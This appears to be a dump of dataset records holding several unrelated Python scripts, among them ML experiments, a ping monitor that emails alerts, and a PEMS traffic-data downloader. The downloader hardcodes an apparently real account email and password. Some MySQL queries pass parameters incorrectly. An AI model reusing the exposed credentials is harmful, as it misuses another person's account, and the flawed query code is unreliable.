locally\".format(filename))\nos.remove(filename)\n\n\n\n","sub_path":"python-aws-s3.py","file_name":"python-aws-s3.py","file_ext":"py","file_size_in_byte":1256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"47469275","text":"import numpy as np\nimport csv\nimport random\nimport math\nimport operator\nfrom sklearn.preprocessing import MinMaxScaler\n\ndef normalizedData(dataset):\n\tscaler = MinMaxScaler()\n\tscaler.fit(dataset)\n\tdataset = scaler.transform(dataset)\n\treturn dataset\n\ndef loadDataset(filename, split, trainingSet=[] , testSet=[]):\n\twith open(filename, 'rb') as csvfile:\n\t\t\tlines = csv.reader(csvfile)\n\t\t\tprint(lines)\n\t\t\tdataset = list(lines)\n\t\t\tfor x in range(1, len(dataset)-1):\n\t\t\t\tfor y in range(4):\n\t\t\t\t\tdataset[x][y] = float(dataset[x][y])\n\t\t\t\tif random.random() < split:\n\t\t\t\t\ttrainingSet.append(dataset[x])\n\t\t\t\telse:\n\t\t\t\t\ttestSet.append(dataset[x])\n\ndef sigmoid(x):\n\t\treturn 1.0/(1+ np.exp(-x))\n\ndef sigmoid_derivative(x):\n\t\treturn x * (1.0 - x)\n\nclass NeuralNetwork:\n\tdef __init__(self, x, y):\n\t\tself.input = x\n\t\tself.weights1 = np.random.rand(self.input.shape[1], len(x)) \n\t\tself.weights2 = np.random.rand(3,1) \n\t\tself.y = y\n\t\tself.output = np.zeros(y.shape)\n\t\tprint(self.weights1, self.weights2)\n\tdef feedforward(self):\n\t\tself.layer1 = sigmoid(np.dot(self.input, self.weights1))\n\t\tself.output = sigmoid(np.dot(self.layer1, self.weights2))\n\n\tdef backprop(self):\n\t\td_weights2 = np.dot(self.layer1.T, (2*(self.y - self.output) * sigmoid_derivative(self.output)))\n\t\td_weights1 = np.dot(self.input.T, (np.dot(2*(self.y - self.output) * sigmoid_derivative(self.output), self.weights2.T) * sigmoid_derivative(self.layer1)))\n\n\t\tself.weights1 += d_weights1\n\t\tself.weights2 += d_weights2\n\nif __name__ == \"__main__\":\n\t\ttrainingSet=[]\n\t\ttestSet=[]\n\t\tsplit = 0.67\n\t\tloadDataset('iris.data', split, trainingSet, testSet)\n\t\t# xTrain = []\n\t\t# for i in range(len(trainingSet)):\n\t\t# \txTrain.append(np.array(trainingSet[i][0:4]))\n\t\t# xTrain = normalizedData(xTrain)\n\t\t# X = np.array(xTrain)\n\t\t# y = np.array([[0],[0.66],[1]])\n\t\t# print(xTrain)\n\t\t# nn = NeuralNetwork(X,y)\n\t\t# for i in range(2500):\n\t\t# print(i)\n\t\t# nn.feedforward()\n\t\t# nn.backprop()\n\n\t\t# print(nn.output)\n","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"364929613","text":"#-*- coding: utf-8 -*-\nfrom math import log\nimport operator\n\ndef createDataSet():\n dataSet = [[1, 1, 'yes'],\n [1, 1, 'yes'],\n [1, 0, 'no'],\n [0, 1, 'no'],\n [0, 1, 'no']]\n labels = ['no surfacing','flippers']\n #change to discrete values\n return dataSet, labels\n\n\n#엔트로피를 계산한다.\n#엔트로피가 높을수록 데이터는 더 혼잡하다.\ndef calcShannonEnt(dataSet):\n numEntries = len(dataSet)\n labelCounts = {}\n for featVec in dataSet:\n currentLabel = featVec[-1] #라벨의 위치는 마지막이므로 인덱스는 -1 이다.\n if currentLabel not in labelCounts.keys(): #라벨이 currentLabel\n labelCounts[currentLabel] = 0\n labelCounts[currentLabel] += 1\n shannonEnt = 0.0\n for key in labelCounts:\n prob = float(labelCounts[key]) / numEntries\n shannonEnt -= prob * log(prob, 2)\n return shannonEnt\n\ndef splitDataSet(dataSet, axis, value):\n retDataSet = []\n for featVec in dataSet:\n if featVec[axis] == value:\n reducedFeatVec = featVec[:axis]\n reducedFeatVec.extend( featVec[axis+1:] )\n retDataSet.append(reducedFeatVec)\n return retDataSet\n\n#데이터셋에서 최고속성 뽑아내기\ndef chooseBestFeatureToSplit(dataSet):\n numFeatures = len(dataSet[0]) - 1 #속성의 갯수\n baseEntropy = calcShannonEnt(dataSet) #전체 데이터의 엔트로피\n\n bestInfoGain = 0.0 #가장 높은 정보이득을 가질 변수\n bestFeature = -1 # 정보이득이 가장 높은 속성의 인덱스\n\n dataSetLen = float(len(dataSet))\n sdsets = []\n for i in range(numFeatures):\n featList = [ example[i] for example in dataSet ] #List comprehsion, 데이터셋을 반복해 i 번째 속성들만 추려 list 로 만든다\n uniqueVals = set(featList) #set 으로 만들어서 featList 의 유일한 속성만 남긴다.\n newEntropy = 0.0\n\n\n\n for value in uniqueVals:\n subDataSet = splitDataSet(dataSet,i,value) #dataset을 i번째 컬럼과 값으로 가진 subdataset을 가져온다.\n sdsets.append(subDataSet)\n\n prob = len(subDataSet) / dataSetLen #subdataset의 길이를 전체 데이터셋 길이로 나눠 확률을 계산한다.\n newEntropy += prob * calcShannonEnt(subDataSet) #subdataset의 엔트로피를 계산한다.\n\n infoGain = baseEntropy - newEntropy #전체 엔트로피에서 subdata의 엔트로피를 빼서 정보이득을 계산한다.\n\n if( infoGain > bestInfoGain ): #subdata 셋들 중에 가장 높은 정보이득을 가지는 속성을 알아낸다.\n bestInfoGain = infoGain\n bestFeature = i\n\n return bestFeature\n\n\n\n\n#Ch03 part 2 트리 만들기\ndef majorityCnt(classList):\n classCount={}\n for vote in classList:\n if vote not in classCount.keys():classCount[vote] = 0\n classCount[vote] += 1\n sortedClassCount = sorted( classCount.iteritems(), key=operator.itemgetter(1), reverse=True )\n return sortedClassCount[0][0]\n\ndef createTree(dataSet, labels):\n classList = [ example[-1] for example in dataSet ] #라벨을 뽑아낸다.\n\n if classList.count( classList[0] ) == len( classList ) : #모든 클래스가 같다면 분할을 멈춘다.\n return classList[0]\n\n if len( dataSet[0] ) == 1: #데이터셋에 더 이상 속성이 없으면 분할을 멈춘다.\n return majorityCnt( classList )\n\n bestFeat = chooseBestFeatureToSplit(dataSet) #최고 속성을 고른다.\n bestFeatLabel = labels[bestFeat] #최고 속성의 라벨\n\n myTree = { bestFeatLabel:{} }\n\n del( labels[bestFeat] ) #labels 딕셔너리에서 최고 속성을 삭제한다.\n\n featValues = [ example[bestFeat] for example in dataSet ]\n\n uniqueVals = set(featValues)\n\n for value in uniqueVals:\n subLabels = labels[:]\n myTree[bestFeatLabel][value] = createTree(splitDataSet(dataSet, bestFeat, value), subLabels)\n\n return myTree\n\n\n\n#3.3 분류기 검사와 저장\n\ndef classify(inputTree, featLabels, testVec):\n firstStr = inputTree.keys()[0]\n secondDict = inputTree[firstStr]\n featIndex = featLabels.index(firstStr)\n key = testVec[featIndex]\n valueOfFeat = secondDict[key]\n\n if isinstance(valueOfFeat, dict): #valueOfFeat 가 dict 이면 classify로 다시 분류한다.\n classLabel = classify(valueOfFeat, featLabels, testVec)\n else: classLabel = valueOfFeat\n return classLabel\n\n\n#파일에 트리를 저장함 object serialization\ndef storeTree(tree, filename):\n import pickle\n fw = open(filename, 'w')\n pickle.dump(tree, fw)\n fw.close()\n\n\ndef grabTree(finename):\n import pickle\n fr = open(finename)\n return pickle.load(fr)\n\n\n\n","sub_path":"Ch03 DecisionTree/trees.py","file_name":"trees.py","file_ext":"py","file_size_in_byte":4782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"20529969","text":"import sys, os, argparse, textwrap\nfrom common import *\n\ndef main():\n parser = argparse.ArgumentParser(description = 'Predict outcome from time-series data',\n usage = 'use \"python %(prog)s --help\" for more information',\n formatter_class=argparse.RawTextHelpFormatter)\n parser.add_argument('-g','--gs_file_path', type=str,\n help = 'path to gold-standards and file path file')\n\n parser.add_argument('-t','--last_n_records', type=int,\n help = 'Use last n records. defulat: 16',\n default = 16)\n\n parser.add_argument('-f','--extra_features', type=str,\n default = ['norm', 'std', 'missing_portion', 'baseline'],\n help = '''\n which extra features to use.\n default: ['norm', 'std', 'missing_portion', 'baseline']\n ''')\n\n args = parser.parse_args()\n \n \n opts = vars(args)\n run(**opts)\n\n\ndef run(gs_file_path, last_n_records, extra_features):\n five_fold_cv(gs_file_path, last_n_records, extra_features)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"54580718","text":"from pandas import Series, DataFrame\nimport pandas as pd\nimport collections\nimport numpy\nimport uncertainties\nimport pint\nfrom uncertainties import ufloat\nfrom uncertainties import ufloat_fromstr\nfrom pint import UnitRegistry\nimport string\nureg = UnitRegistry()\nQ_ = ureg.Quantity\n\n\nclass Latexdocument(object):\n def __init__(self, filename):\n self.name = filename\n self.data = DataFrame(columns=(['tex', 'var']))\n def tabular(self, spalten, header, places, caption, label):\n with open(self.name, 'w') as f:\n f.write('\\\\begin{table}[H] \\n\\\\centering \\n\\\\caption{' + caption + '} \\n\\\\label{tab: ' + label + '} \\n\\\\begin{tabular}{')\n f.write(len(spalten) * 'S ')\n f.write('} \\n\\\\toprule \\n')\n f.write(header + ' \\\\\\ \\n')\n f.write('\\\\midrule \\n ')\n for i in range(0, len(spalten[0])):\n for j in range(0, len(spalten)):\n if j == len(spalten) - 1:\n f.write(('{:.' + str(places[j]) + 'f}' + '\\\\\\ \\n').format(spalten[j][i]))\n else:\n f.write(('{:.' + str(places[j]) + 'f} ' + ' & ').format(spalten[j][i]))\n f.write('\\\\bottomrule \\n\\\\end{tabular} \\n\\\\end{table}')\n\n def app(self, name, value):\n if (type(value.magnitude) == uncertainties.core.Variable or type(value.magnitude) == uncertainties.core.AffineScalarFunc):\n val = '{:+.1uS}'.format(value.magnitude)\n s = '{:Lx}'.format(Q_(2, value.units)) + '~'\n df = DataFrame(collections.OrderedDict({'var': pd.Series(value, index = [name] ),\n #'tex': name + ' = \\SI{' + val[:val.index('+')]+ ' \\pm ' + val[val.index('-')+1:] + s[s.index('}{'):s.index('~')]}))\n 'tex': name + ' = \\SI{' + val + '}{' + s[s.index('}{') + 2:s.index('~')]}))\n self.data = self.data.append(df)\n else:\n df = DataFrame({'var': pd.Series(value, index = [name] ),\n 'tex': name + ' = ' + '{:Lx}'.format(value)})\n self.data = self.data.append(df)\n\n\n def makeresults(self):\n print(self.data['var'])\n with open(self.name, 'w') as f:\n for i in self.data['tex']:\n f.write(i + '\\n')\n","sub_path":"PHY341/V503_Millikan/Messdaten/latex.py","file_name":"latex.py","file_ext":"py","file_size_in_byte":2296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"402617545","text":"import numpy as np\nimport pandas as pd\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom matplotlib import style\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.metrics import r2_score\nfrom sklearn.preprocessing import PolynomialFeatures\nimport datetime as dt\nimport os\nfrom sklearn.linear_model import Ridge\ndef img1(date1,text,beta1,kos):\n if beta1==\"베타에 값없다\":\n print(\"베타에 값없음\")\n return\n os.remove('static/images/jin.png')\n\n lr=LinearRegression()\n pr=LinearRegression()\n\n X_fit=np.arange(250,800,10)[:,np.newaxis]\n \n import datetime as dt\n data=pd.read_excel('data/covid2.xlsx')\n df=pd.DataFrame(data)\n X=df['new_cases'][:158][:,np.newaxis]\n y=df['date'][:158].astype(\"int64\")\n y=y/86400\n y=y-y[0]\n y=y/1000000000\n quadratic=PolynomialFeatures(degree=6)\n X_quad=quadratic.fit_transform(X)\n X_fit=np.arange(0,500,1)[:,np.newaxis]\n pr.fit(X_quad,y)\n y_quad_fit =pr.predict(quadratic.fit_transform(X_fit))\n y_quad_pred =pr.predict(X_quad)\n\n mse_quad=mean_squared_error(y,y_quad_pred)\n r2_quad=r2_score(y,y_quad_pred)\n\n data2=pd.read_csv('data/'+text+'.csv',engine='python',parse_dates=[\"date\"],thousands=',')\n \n if kos==1:\n kospy=pd.read_csv('data/kospy.csv',engine='python')\n elif kos==2:\n kospy=pd.read_csv('data/kosdaq.csv',engine='python')\n kospyDf=pd.DataFrame(kospy)\n kospynum=kospyDf.iloc[:,5][:158]\n kospynum=kospynum.map(lambda x: float(x[:-1])*beta1)\n df2=pd.DataFrame(data2)\n result=df2.iloc[:,2][:-1]\n result[:-1],data['date'][:158],data['new_cases'][:158]\n a=pd.concat([y,result[:-1],data['new_cases'][:158],kospynum],axis=1)\n x_train=a[['date','new_cases','�벑�씫瑜�']]\n y_train=a.iloc[:,1]\n from sklearn.linear_model import ElasticNet\n mlr=ElasticNet(alpha=0.5,l1_ratio=0.5)\n mlr.fit(x_train, y_train) \n y_quad_pred=mlr.predict(x_train)\n print(x_train)\n ridge=Ridge().fit(pd.DataFrame(y),pd.DataFrame(kospynum))\n y_fit1=ridge.predict(np.arange(0,500,1)[:,np.newaxis])\n\n\n # inputdate=300\n # X_fit=np.arange(inputdate,inputdate+1,1)[:,np.newaxis]\n # y_quad_fit =pr.predict(quadratic.fit_transform(X_fit))\n # my_predict = mlr.predict([[inputdate,y_quad_fit]])\n # my_predict\n import matplotlib.pyplot as plt\n X_fit=np.arange(0,500,1)[:,np.newaxis]\n plt.scatter(y, y_train, alpha=0.4)\n plt.plot(x_train['date'],y_quad_pred,label='quadratic fit',color='orange')\n plt.xlabel(\"covid after Date(2020-01-02)\")\n plt.ylabel(\"Predicted Closing price\")\n plt.title(\"MULTIPLE LINEAR REGRESSION predict closing price\")\n inputdate=date1\n X_fit=np.arange(inputdate,inputdate+1,1)[:,np.newaxis]\n test=np.arange(250,250+250,1)[:,np.newaxis]\n y_quad_fit =pr.predict(quadratic.fit_transform(X_fit))\n y_quad_fit1=ridge.predict(X_fit)\n \n\n \n\n my_predict = mlr.predict([[inputdate,y_quad_fit,y_quad_fit1]])\n percent=(my_predict/y_train.iloc[-1])*100\n plt.plot(inputdate,my_predict,color='red', marker='o')\n plt.savefig('static/images/jin.png')\n plt.cla()\n print(inputdate,\"일 뒤에 %.2f 퍼센트증가\"%round(percent[0]-100,2))\n return round(percent[0]-100,2)\n\n","sub_path":"covid19_2/CoVID19/ml.py","file_name":"ml.py","file_ext":"py","file_size_in_byte":3280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"389831858","text":"# -*- coding: utf-8 -*-\n# @StartTime : 2018/7/9 22:19\n# @EndTime : 2018/7/9 22:19\n# @Author : Andy\n# @Site : \n# @File : 020_baohan_min_stack_180709.py\n# @Software: PyCharm\n\n# -*- coding:utf-8 -*-\nclass Solution:\n def __init__(self):\n self.stack = []\n self.assist = []\n\n def push(self, node):\n # write code here\n self.stack.append(node)\n min_pre = self.min()\n if not min_pre:\n self.assist.append(node)\n else:\n self.assist.append(min(node,min_pre))\n\n def pop(self):\n # write code here\n if self.stack:\n self.assist.pop()\n return self.stack.pop()\n\n def top(self):\n # write code here\n if self.stack:\n return self.stack[-1]\n else:\n return None\n\n def min(self):\n # write code here\n if self.assist:\n return self.assist[-1]\n else:\n return None","sub_path":"nowcoder/020_baohan_min_stack_180709.py","file_name":"020_baohan_min_stack_180709.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"219378968","text":"#logic:\nimport time\n\n\n# ATTEMPT 1\n\ndef checkHand(nums, suits):\n #royal flush\n isFlush = max(suits.values()) == 5\n isStraight = checkStraight(nums)\n hc = highCard(nums)\n\n # in this hand, the high card is always highest element of hand\n if isStraight and isFlush:\n if hc == 13: return (10,) #royal flush\n else: return (9, hc) #straight flush\n\n # returns 13 for 4 aces by reversing list (finds first case of a 4)\n if max(nums) == 4:\n return (8, nums.index(4) + 2) #four of a kind, card num\n\n # full house\n if nums.count(3) * nums.count(2) != 0: return (7, nums.index(3) + 2, nums.index(2) + 2)\n\n if isFlush: return (6, hc) #flush\n if isStraight: return (5, hc) #straight\n\n\n if max(nums) == 3: return (4, len(nums) - nums[::-1].index(3) , hc) # 3 of a kind\n\n if nums.count(2) == 2: return (3,len(nums) - nums[::-1].index(2), nums.index(2) + 2, hc) # two pair\n\n if nums.count(2) == 1: return (2, nums.index(2) + 2, hc) # a pair\n\n return (1,hc) # high card\n\n\ndef highCard(nums):\n index = len(nums) - 1\n for numCards in nums[::-1]:\n if numCards != 0: return index + 1\n index -= 1\n\n\ndef checkStraight(nums):\n for i in range(4,len(nums)):\n if nums[i-4] * nums[i-3] * nums[i-2] * nums[i-1] * nums[i] != 0: return True #isStraight\n return False\n\n\ndef p1Wins(p1Hand, p2Hand,p1Nums, p2Nums):\n index = 0\n while index < len(p1Hand):\n if p1Hand[index] != p2Hand[index]:\n return p1Hand[index] > p2Hand[index]\n index += 1\n # if we reach this point, both hands are identical besides high card;\n # simply traverse list backwards and find first difference\n for x,y in zip(p1Nums[::-1], p2Nums[::-1]):\n if x != y: return x > y\n\n\np1win_count = 0\n\nwith(open(\"input_files/p054_poker.txt\")) as inputFile:\n for hand in inputFile:\n hand = hand.replace(\"\\n\", \"\")\n cards = hand.split(\" \")\n p1 = cards[:5]\n p2 = cards[5:]\n\n p1Nums = list([0]*14)\n p1Suits = dict(zip([\"D\",\"S\",\"H\",\"C\"], [0]*4)) # [Diamonds Hearts Spades Clubs]\n p2Nums = list([0]*14)\n p2Suits = dict(zip([\"D\",\"S\",\"H\",\"C\"], [0]*4)) # [Diamonds Hearts Spades Clubs]\n\n for card in p1:\n num = card[0]\n suit = card[1]\n if num == \"A\":\n p1Nums[12] += 1\n elif num == \"K\": p1Nums[11] += 1\n elif num == \"Q\": p1Nums[10] += 1\n elif num == \"J\": p1Nums[9] += 1\n elif num == \"T\": p1Nums[8] += 1\n else: p1Nums[int(num) - 2] += 1\n p1Suits[suit] += 1\n\n for card in p2:\n num = card[0]\n suit = card[1]\n if num == \"A\":\n p2Nums[12] += 1\n elif num == \"K\": p2Nums[11] += 1\n elif num == \"Q\": p2Nums[10] += 1\n elif num == \"J\": p2Nums[9] += 1\n elif num == \"T\": p2Nums[8] += 1\n else: p2Nums[int(num) - 2] += 1\n p2Suits[suit] += 1\n\n# print(\"cards: \", cards)\n# print (\"p1 cards: \", p1)\n# print (\"p1nums: \", p1Nums)\n# print (\"p1suits: \", p1Suits)\n p1Hand = checkHand(p1Nums, p1Suits)\n# print (\"p1hand\", p1Hand)\n# print (\"p2 cards: \", p2)\n# print (\"p2 nums: \", p2Nums)\n# print (\"p2suits: \", p2Suits)\n p2Hand = checkHand(p2Nums, p2Suits)\n# print (\"p2 hand: \", p2Hand)\n\n # print (\"p1 wins: \", p1Wins(p1Hand,p2Hand,p1Nums,p2Nums))\n# print(\"-*\" * 40)\n# time.sleep(1)\n if p1Wins(p1Hand, p2Hand, p1Nums, p2Nums):\n p1win_count += 1\n\nprint(p1win_count)\n\n \n \n","sub_path":"p0054_poker_hands.py","file_name":"p0054_poker_hands.py","file_ext":"py","file_size_in_byte":3624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"82086388","text":"# Libraries to include.\nfrom json import load\nfrom os import devnull\nfrom time import sleep\nfrom mysql.connector import connect\nfrom email.mime.text import MIMEText\nfrom datetime import datetime, timedelta\nfrom subprocess import call, Popen, STDOUT, PIPE\n\n# Function to parse JSON file.\ndef config(query):\n file = open(\"/usr/share/isonline/resources/config.json\", \"r\")\n data = load(file)\n\n return data[query]\n\n# Function to ping a device.\ndef ping(devices):\n FNULL = open(devnull, 'w') # Hide the output.\n response = call([\"ping\", \"-c\", \"1\", \"-w1 \", devices], stdout=FNULL, stderr=STDOUT) # Run the system ping command.\n\n # Check for successful ping.\n if response is 0:\n return True\n else:\n return False\n\n# Function to send an alert email.\ndef email(database, host, heartbeat):\n # Query the database for the email.\n cursor = database.cursor(buffered=True)\n cursor.execute(\"SELECT value FROM settings WHERE name='email'\")\n row = cursor.fetchone()\n email = row[0]\n\n # Query the database for the logged date.\n cursor.execute(\"SELECT logged FROM logs WHERE host='%s' AND type='email' ORDER BY id DESC LIMIT 1\", (host))\n row = cursor.fetchone()\n\n if row:\n # Define the queried variables.\n logged = row[0]\n\n # Check when the last email was sent.\n if(datetime.now() >= logged + timedelta(hours=12)):\n # Build the email to send.\n mail = MIMEText(\"The device \" + host + \" went offline at \" + heartbeat.strftime(\"%Y-%m-%d %H:%M:%S\") + \".\")\n mail[\"From\"] = \"isOnline <agent@is.online>\"\n mail[\"To\"] = email\n mail[\"Subject\"] = \"isOnline Alert\"\n\n # Output and send the email with sendmail.\n print(\"Sending alert email of {} to {}\".format(host, email))\n send = Popen([\"/usr/sbin/sendmail\", \"-t\"], stdin=PIPE)\n send.communicate(mail.as_bytes())\n\n print(host)\n cursor.execute(\"INSERT INTO logs(host, type) VALUES('%s', 'email')\", (host)) # add the email record to the logs.\n else:\n # Build the email to send.\n mail = MIMEText(\"The device \" + host + \" went offline at \" + heartbeat.strftime(\"%Y-%m-%d %H:%M:%S\") + \".\")\n mail[\"From\"] = \"isOnline <agent@is.online>\"\n mail[\"To\"] = email\n mail[\"Subject\"] = \"isOnline Alert\"\n\n # Output and send the email with sendmail.\n print(\"Sending alert email of {} to {}\".format(host, email))\n send = Popen([\"/usr/sbin/sendmail\", \"-t\"], stdin=PIPE)\n send.communicate(mail.as_bytes())\n\n cursor.execute(\"INSERT INTO logs(host, type) VALUES('%s', 'email')\", (host)) # Add the email record to the logs.\n\n cursor.close() # close the cursor.\n\n# Create a connection to the database.\ncreds = config(\"mysql\")\ncon = connect(\n host=\"localhost\",\n user=creds[\"username\"],\n passwd=creds[\"password\"],\n database=creds[\"database\"]\n)\n\n# Run the ping program.\nprint(\"Pinging devices...\")\nwhile True:\n try:\n # Query the database for the host address.\n cursor = con.cursor()\n cursor.execute(\"SELECT id, host, last_heartbeat FROM ping_stats\")\n result = cursor.fetchall()\n\n # Loop through the rows.\n for row in result:\n # Define the queried variables.\n uuid = row[0]\n host = row[1]\n heartbeat = row[2]\n status = ping(host)\n timestamp = datetime.now()\n\n # Update the record.\n if status:\n # Print out and update record for online.\n print(\"{} is online.\".format(host))\n cursor.execute(\"UPDATE ping_stats SET is_online=%s, last_heartbeat=%s WHERE id=%s\", (status, timestamp.strftime(\"%Y-%m-%d %H:%M:%S\"), uuid))\n else:\n # Print out and update record for offline.\n print(\"{} is offline.\".format(host))\n cursor.execute(\"UPDATE ping_stats SET is_online=%s WHERE id=%s\", (status, uuid))\n\n # Print out and send alert email.\n if(timestamp >= heartbeat + timedelta(hours=1)):\n email(con, host, heartbeat)\n con.commit()\n\n cursor.close() # Close the cursor.\n sleep(1) # Delay for 1 second.\n except KeyboardInterrupt:\n # Stop the program\n print(\"\\nClosing program...\")\n con.close()\n quit()\n","sub_path":"src/python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"143624394","text":"import requests\nimport json\nfrom domain.supplier import Supplier\n\nclass Supplier_service:\n\n gatewayURL = \"10.226.159.191:9090\"\n urlPrefix = \"/api/v1\"\n\n def get_supplier(self, ID):\n r = requests.get(\"http://\" + self.gatewayURL + self.urlPrefix + \"/suppliers/\" + str(ID))\n if r.status_code == 200 :\n print(Supplier(**json.loads(r.text)).company)\n return Supplier(**json.loads(r.text))\n else:\n return None\n\n\n def update_supplier(self, ID, supplier):\n url = \"http://%s%s/suppliers\" % (self.gatewayURL, self.urlPrefix)\n r = requests.put(url, data=str(supplier) , headers={\n \t\t'Content-Type': 'application/json'\n\t\t})\n print(r.status_code, str(supplier), url)\n if r.status_code == 200 :\n print(\"rep\", r.text)\n return True\n else:\n return False\n","sub_path":"front/front-suppliers/services/supplier_service.py","file_name":"supplier_service.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"95882871","text":"# -*- coding: utf-8 -*-\n\nfrom keras.models import model_from_json\nfrom sentence_to_numbers import convert_sentence_to_number\nfrom keras.preprocessing import sequence\n\n# load json and create model\njson_file = open('model.json', 'r')\nloaded_model_json = json_file.read()\njson_file.close()\nloaded_model = model_from_json(loaded_model_json)\n# load weights into new model\nloaded_model.load_weights(\"model.h5\")\nprint(\"Loaded model from disk\")\n\nsentence = u'Да си взема ли пуловер?'\n\nmax_length = 80\n\ndef normalize(probs):\n prob_factor = 1 / sum(probs)\n return [prob_factor * p for p in probs]\n\nX = [convert_sentence_to_number(sentence)]\n\nX = sequence.pad_sequences(X, maxlen=max_length)\n\npredictions = list(map(normalize, loaded_model.predict(X)))\n\nprint(predictions)\n","sub_path":"rescale/predict_new.py","file_name":"predict_new.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"55512994","text":"import time\nimport os\nimport numpy as np\nimport pandas as pd\nimport requests\nimport xlrd\nimport shutil\n\"\"\"\n下载PEMS源数据\n1、更改下载数据的属性;\n2、更改下载时间段;\nfinal.csv 表中有需要下载的站点ID \n\"\"\"\n\n\ndef time_2_timestamp(input, lags=True):\n \"\"\"默认True: 时间转化为时间戳, 包含时差计算\"\"\"\n if lags:\n timeArray = time.strptime(input, \"%Y-%m-%d %H:%M\")\n # 转换成时间戳\n return int(time.mktime(timeArray) + 8 * 60 * 60) # 时差计算\n else:\n time_local = time.localtime(input - 8 * 60 * 60)\n return time.strftime(\"%Y-%m-%d %H:%M\", time_local)\n\n\ndef download(save_path, vds, start_time, end_time):\n \"\"\"时间转化为时间戳\"\"\"\n start_stamp, end_stamp = time_2_timestamp(start_time), time_2_timestamp(end_time)\n i = 1\n for begin in range(start_stamp, end_stamp, 60 * 60 * 24 * 7):\n url = get_url(vds, begin)\n down_load_data(save_path, url, i)\n i += 1\n f = xlrd.open_workbook(save_paths + \"/1.xlsx\", \"rb\")\n clowsname = f.sheet_by_name(\"Report Data\").row_values(0)\n flag1 = False\n flag2 = False\n for itme in clowsname:\n if itme == \"Flow (Veh/5 Minutes)\":\n #if itme == \"Speed (mph)\":\n flag1 = True\n # for item in clowsname:\n # if item == \"Occupancy (%)\":\n # flag2=True\n if flag1 == True: #and flag2==True:\n continue\n else:\n raise(\"not flow!\")\n print('OK')\n\n\n\ndef down_load_data(save_path, url, i):\n headers = {\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) \"\n \"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36\"}\n data = {\"redirect\": \"\", \"username\": \"1397277295@qq.com\",\n \"password\": \"1=Ytopd2l\", \"login\": \"Login\"}\n session = requests.session()\n\n response = session.post(url, headers=headers, data=data)\n response = session.get(url)\n #response1 = session.get(\"https://www.baidu.com\")\n try:\n with open(save_path + '/' + str(i) + '.xlsx', 'wb') as f:\n f.write(response.content)\n print('下载成功')\n except IOError:\n print()\n\n\ndef get_url(vds, begin):\n str_begin = time_2_timestamp(begin, False)\n s_begin = str_begin[5:7] + '%2F' + str_begin[8:10] + '%2F' + str_begin[:4] + '+00%3A00'\n end = begin + 60 * 60 * 24 * 7 - 60\n str_end = time_2_timestamp(end, False)\n s_end = str_end[5:7] + '%2F' + str_end[8:10] + '%2F' + str_end[:4] + '+23%3A59'\n url = 'http://pems.dot.ca.gov/?report_form=1&dnode=VDS&content=loops&tab=det_timeseries&export=xls&station_id='+str(vds) + '&s_time_id=' + str(begin) + '&s_time_id_f=' + str(s_begin) + '&e_time_id=' + str(end) + '&e_time_id_f=' + str(s_end) + '&tod=all&tod_from=0&tod_to=0&dow_1=on&dow_2=on&dow_3=on&dow_4=on&dow_5=on'+'&q=flow&q2=&gn=5min&agg=on&lane1=on&lane2=on&lane3=on&lane4=on'\n # print(url)\n print('获取url: vds[%s] %s --- %s' % (str(vds), str_begin, str_end))\n print(url)\n return url\n\n\ndef combine_download_data(vds, path):\n num = len(os.listdir(path))\n dfs = pd.read_excel(path + '/1.xlsx', index_col=None).values\n for i in range(2, num + 1):\n df = pd.read_excel(path + '/' + str(i) + '.xlsx', index_col=None).values\n dfs = np.row_stack((dfs, df))\n pd.DataFrame(dfs).to_excel(path + '/' + str(vds) + '_combine.xlsx', index=None, header=None)\n print('合并文件保存成功')\n\n\nif __name__ == '__main__':\n f = pd.read_csv(\"FF_ID_TSC.csv\", sep=\",\").to_numpy()\n sta_id = f[:, 0]\n vds_list = []\n count=0\n for i in range(len(f)):\n vds_list.append(int(sta_id[i]))\n save_path = r'./FF_data/flow/' # 文件保存路径\n # vds_list = [767523] # 需要下载的VDS列表\n start_time, end_time = '2020-03-25 20:00', '2020-06-01 20:00' # 数据下载开始于结束时间,每次下载一周,无数据则下载为空文件\n #for i in range(1000):\n for i in range(len(vds_list)):\n name = start_time[2:10] + '_' + end_time[2:10]\n save_paths = save_path + '/' + name + '/' + str(vds_list[i]) # 创建文件保存路径\n try:\n if not os.path.exists(save_paths):\n os.makedirs(save_paths)\n print('开始下载:%s %s---%s' % (str(vds_list[i]), start_time, end_time))\n download(save_paths, vds_list[i], start_time, end_time) # 下载文件\n combine_download_data(vds_list[i], save_paths) # 将单个VDS下载文件进行合并\n print(save_paths)\n count+=1\n print(count)\n if count>=2000:\n break\n # if i==1076:\n # break\n\n\n # f = xlrd.open_workbook(save_paths + \"/1.xlsx\", \"rb\")\n # clowsname = f.sheet_by_name(\"Report Data\").row_values(0)\n # flag = False\n # for i in clowsname:\n # if i == \"Speed (mph)\":\n # flag = True\n #\n # if flag == True:\n # print(count)\n # count += 1\n # else:\n # 